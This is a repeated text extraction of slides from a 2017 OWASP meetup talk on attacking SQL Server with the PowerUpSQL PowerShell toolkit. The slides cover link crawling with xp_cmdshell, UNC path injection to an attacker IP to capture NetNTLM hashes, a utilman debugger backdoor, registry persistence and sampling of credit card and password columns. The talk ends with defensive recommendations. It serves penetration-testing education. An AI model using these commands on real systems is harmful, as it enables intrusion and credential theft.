Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 70: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 71: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
